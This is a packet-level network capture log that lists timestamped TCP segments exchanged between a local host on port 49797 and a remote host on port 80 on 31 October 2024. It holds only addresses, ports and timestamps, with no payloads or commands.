Oct 31, 2024 01:18:30.389600992 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.389612913 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.389622927 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.389664888 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.389786959 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.389799118 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.389811039 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.389826059 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.389836073 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.389848948 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.389852047 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.389861107 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.389933109 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.390103102 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.390155077 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.390193939 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.390206099 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.390217066 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.390228987 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.390235901 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.390265942 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.390481949 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.390506029 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.390518904 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.390554905 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.390607119 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.390623093 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.390644073 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.390646935 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.390655994 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.390667915 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.390678883 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.390685081 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.390691042 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.390701056 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.390717030 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.390764952 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.390902042 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.390918016 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.390929937 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.390942097 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.390952110 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.390959978 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.390974998 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.390995026 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.391324997 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.391335011 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.391345024 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.391359091 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.391370058 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.391381025 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.391412973 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.391446114 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.391520023 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.391566992 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.391577005 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.391622066 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.391644001 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.391655922 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.391665936 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.391676903 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.391691923 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.391735077 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.391746998 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.391753912 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.391772032 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.391783953 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.391787052 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.391797066 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.391822100 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.391855001 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.391978025 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.391988993 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.392000914 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.392030001 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.392060995 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.392072916 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.392082930 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.392095089 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.392112970 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.392148018 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.392205954 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.392229080 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.392246008 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.392256975 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.392256975 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.392277002 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.392286062 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.392287016 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.392301083 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.392313004 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.392318010 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.392323971 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.392337084 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.392349005 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.392358065 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.392362118 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.392374992 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.392420053 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.392420053 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.392452002 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.392508984 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.392520905 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.392554045 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.392687082 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.392698050 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.392709017 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.392736912 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.392743111 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.392750025 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.392755032 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.392762899 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.392775059 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.392791986 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.392802000 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.392806053 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.392811060 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.392822981 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.392832994 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.392837048 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.392844915 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.392857075 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.392867088 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.392869949 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.392879963 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.392890930 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.392893076 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.392904043 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.392924070 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.392936945 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.392946005 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.392959118 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.392968893 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.392986059 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.392997026 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.393007994 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.393013000 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.393021107 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.393033028 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.393038988 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.393044949 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.393045902 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.393058062 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.393069983 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.393081903 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.393089056 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.393094063 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.393102884 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.393106937 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.393120050 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.393130064 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.393177986 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.393177986 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.396913052 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.464010954 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.464040995 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.464142084 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.464287996 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.464301109 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.464310884 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.464339018 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.472861052 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.503933907 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.504041910 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.504053116 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.504065990 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.504077911 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.504093885 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.504106998 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.504126072 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.504132986 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.504137993 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.504151106 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.504174948 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.504188061 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.504209042 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.504220963 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.504228115 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.504256964 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.504267931 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.504280090 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.504285097 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.504311085 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.504311085 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.504343987 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.504354954 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.504371881 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.504383087 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.504383087 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.504401922 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.504425049 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.504443884 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.504456043 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.504478931 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.504492998 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.504494905 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.504503965 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.504515886 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.504528046 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.504540920 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.504570007 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.504616976 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.504628897 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.504640102 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.504650116 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.504654884 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.504667044 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.504678011 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.504704952 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.504704952 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.504745960 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.504781008 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.504782915 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.504798889 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.504834890 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.504848003 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.504851103 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.504864931 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.504878044 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.504890919 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.504903078 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.504905939 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.504925013 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.504925013 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.504940033 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.504951954 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.504954100 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.504966974 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.504986048 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.504995108 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.505007982 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.505008936 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.505019903 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.505033016 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.505048037 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.505060911 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.505060911 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.505074024 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.505088091 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.505093098 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.505100965 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.505100965 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.505115032 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.505126953 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.505140066 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.505153894 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.505162954 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.505162954 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.505172014 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.505191088 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.505198002 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.505211115 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.505211115 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.505259037 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.505259991 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.505271912 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.505285025 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.505295992 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.505307913 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.505317926 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.505320072 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.505345106 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.505347013 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.505358934 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.505369902 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.505381107 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.505405903 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.505446911 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.505458117 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.505467892 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.505480051 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.505489111 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.505490065 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.505515099 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.505518913 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.505526066 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.505543947 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.505556107 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.505578041 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.505588055 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.505597115 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.505605936 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.505619049 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.505624056 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.505636930 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.505640984 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.505647898 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.505660057 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.505671978 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.505675077 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.505683899 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.505693913 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.505695105 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.505707026 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.505719900 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.505749941 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.505810976 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.505876064 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.505887985 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.505899906 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.505923986 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.505948067 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.505963087 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.505975008 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.505985022 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.505995989 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.506006956 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.506007910 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.506017923 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.506035089 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.506069899 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.506108046 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.506119967 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.506143093 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.506153107 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.506155968 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.506165028 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.506175995 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.506185055 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.506186962 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.506200075 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.506210089 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.506217957 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.506230116 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.506242990 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.506244898 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.506254911 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.506267071 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.506275892 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.506277084 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.506300926 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.506309986 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.506323099 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.506386042 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.506422043 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.506423950 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.506439924 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.506453037 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.506486893 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.506552935 CET	80	49797	185.215.113.16	192.168.2.6
